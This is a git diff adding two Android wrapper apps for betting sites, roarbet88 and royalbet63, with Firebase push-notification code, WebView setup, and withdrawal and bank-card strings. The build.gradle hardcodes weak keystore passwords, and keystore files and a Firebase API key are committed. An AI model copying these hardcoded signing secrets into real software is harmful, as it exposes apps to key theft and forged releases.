b/roarbet88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/roarbet88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/roarbet88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/roarbet88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/mipmap-hdpi/ic_empty.png b/roarbet88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/roarbet88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/roarbet88/src/main/res/mipmap-hdpi/ic_pull_down.png b/roarbet88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/roarbet88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/roarbet88/src/main/res/mipmap-xhdpi/ic_close.png b/roarbet88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/roarbet88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/roarbet88/src/main/res/mipmap-xhdpi/ic_menu.png b/roarbet88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/roarbet88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/roarbet88/src/main/res/mipmap-xxhdpi/app_logo.png b/roarbet88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..9d3d5bf Binary files /dev/null and b/roarbet88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/roarbet88/src/main/res/mipmap-xxhdpi/app_logo1.png b/roarbet88/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..4315c62 Binary files /dev/null and b/roarbet88/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/roarbet88/src/main/res/values-en/strings.xml b/roarbet88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/roarbet88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/roarbet88/src/main/res/values-night/themes.xml b/roarbet88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/roarbet88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/values/colors.xml b/roarbet88/src/main/res/values/colors.xml new file mode 100644 index 0000000..d9a3366 --- /dev/null +++ b/roarbet88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #020202 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/roarbet88/src/main/res/values/strings.xml b/roarbet88/src/main/res/values/strings.xml new file mode 100644 index 0000000..ead2c8a --- /dev/null +++ b/roarbet88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Roarbet88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/values/themes.xml b/roarbet88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/roarbet88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/xml/app_updater_paths.xml b/roarbet88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/roarbet88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/xml/network_security_config.xml b/roarbet88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/roarbet88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/xml/provider_paths.xml b/roarbet88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/roarbet88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/roarbet88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/roarbet88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/royalbet63/.gitignore b/royalbet63/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/royalbet63/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/royalbet63/build.gradle b/royalbet63/build.gradle new file mode 100644 index 0000000..5a054cd --- /dev/null +++ b/royalbet63/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.royalbet63" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "royalbet63" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/royalbet63/google-services.json b/royalbet63/google-services.json new file mode 100644 index 0000000..fc50a1b --- /dev/null +++ b/royalbet63/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "535397716132", + "project_id": "royalbet63", + "storage_bucket": "royalbet63.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:535397716132:android:026ea70c376fbb9fd45631", + "android_client_info": { + "package_name": "com.xyz.royalbet63" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC2UxuyiBS_f13CIjdMNAb3ehpQUaSfWJE" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/royalbet63/justlet.jks b/royalbet63/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/royalbet63/justlet.jks differ diff --git a/royalbet63/ppn.jks b/royalbet63/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/royalbet63/ppn.jks differ diff --git a/royalbet63/proguard-rules.pro b/royalbet63/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/royalbet63/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/royalbet63/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/royalbet63/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/royalbet63/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/royalbet63/src/main/AndroidManifest.xml b/royalbet63/src/main/AndroidManifest.xml new file mode 100644 index 0000000..6a24f5c --- /dev/null +++ b/royalbet63/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/java/com/xyz/royalbet63/MainActivity.java b/royalbet63/src/main/java/com/xyz/royalbet63/MainActivity.java new file mode 100644 index 0000000..18f1316 --- /dev/null +++ b/royalbet63/src/main/java/com/xyz/royalbet63/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.royalbet63; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 225; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://royalbet63.vip/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#141414"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/royalbet63/src/main/java/com/xyz/royalbet63/MyFirebaseMessageingService.java b/royalbet63/src/main/java/com/xyz/royalbet63/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b9967df --- /dev/null +++ b/royalbet63/src/main/java/com/xyz/royalbet63/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.royalbet63; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/royalbet63/src/main/java/com/xyz/royalbet63/WebApplication.java b/royalbet63/src/main/java/com/xyz/royalbet63/WebApplication.java new file mode 100644 index 0000000..bc3c0e7 --- /dev/null +++ b/royalbet63/src/main/java/com/xyz/royalbet63/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.royalbet63; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/royalbet63/src/main/res/drawable-anydpi/ic_action_back.xml b/royalbet63/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/royalbet63/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/royalbet63/src/main/res/drawable-hdpi/ic_action_back.png b/royalbet63/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/royalbet63/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/royalbet63/src/main/res/drawable-mdpi/ic_action_back.png b/royalbet63/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/royalbet63/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/royalbet63/src/main/res/drawable-v24/ic_launcher_foreground.xml b/royalbet63/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/royalbet63/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable-xhdpi/ic_action_back.png b/royalbet63/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/royalbet63/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/royalbet63/src/main/res/drawable-xxhdpi/ic_action_back.png b/royalbet63/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/royalbet63/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/royalbet63/src/main/res/drawable/big_bg.xml b/royalbet63/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..aa9fe3b --- /dev/null +++ b/royalbet63/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable/ic_launcher_background.xml b/royalbet63/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/royalbet63/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/royalbet63/src/main/res/drawable/input_bg.xml b/royalbet63/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/royalbet63/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/royalbet63/src/main/res/drawable/pass_word_bg.xml b/royalbet63/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/royalbet63/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/royalbet63/src/main/res/drawable/pass_word_bg1.xml b/royalbet63/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/royalbet63/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable/pass_word_bg2.xml b/royalbet63/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/royalbet63/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable/shape_btn_bg.xml b/royalbet63/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/royalbet63/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable/shape_dialog_bg2.xml b/royalbet63/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/royalbet63/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable/shape_dialog_bg3.xml b/royalbet63/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/royalbet63/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/drawable/shape_dialog_bg_new.xml b/royalbet63/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/royalbet63/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/royalbet63/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/royalbet63/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/royalbet63/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/royalbet63/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/mipmap-hdpi/ic_empty.png b/royalbet63/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/royalbet63/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/royalbet63/src/main/res/mipmap-hdpi/ic_pull_down.png b/royalbet63/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/royalbet63/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/royalbet63/src/main/res/mipmap-xhdpi/ic_close.png b/royalbet63/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/royalbet63/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/royalbet63/src/main/res/mipmap-xhdpi/ic_menu.png b/royalbet63/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/royalbet63/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/royalbet63/src/main/res/mipmap-xxhdpi/app_logo.png b/royalbet63/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..b475f43 Binary files /dev/null and b/royalbet63/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/royalbet63/src/main/res/mipmap-xxhdpi/logo.jpg b/royalbet63/src/main/res/mipmap-xxhdpi/logo.jpg new file mode 100644 index 0000000..fca0bbe Binary files /dev/null and b/royalbet63/src/main/res/mipmap-xxhdpi/logo.jpg differ diff --git a/royalbet63/src/main/res/values-en/strings.xml b/royalbet63/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/royalbet63/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/royalbet63/src/main/res/values-night/themes.xml b/royalbet63/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/royalbet63/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/values/colors.xml b/royalbet63/src/main/res/values/colors.xml new file mode 100644 index 0000000..c4f9920 --- /dev/null +++ b/royalbet63/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/royalbet63/src/main/res/values/strings.xml b/royalbet63/src/main/res/values/strings.xml new file mode 100644 index 0000000..f8ea26f --- /dev/null +++ b/royalbet63/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + RoyalBet63 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 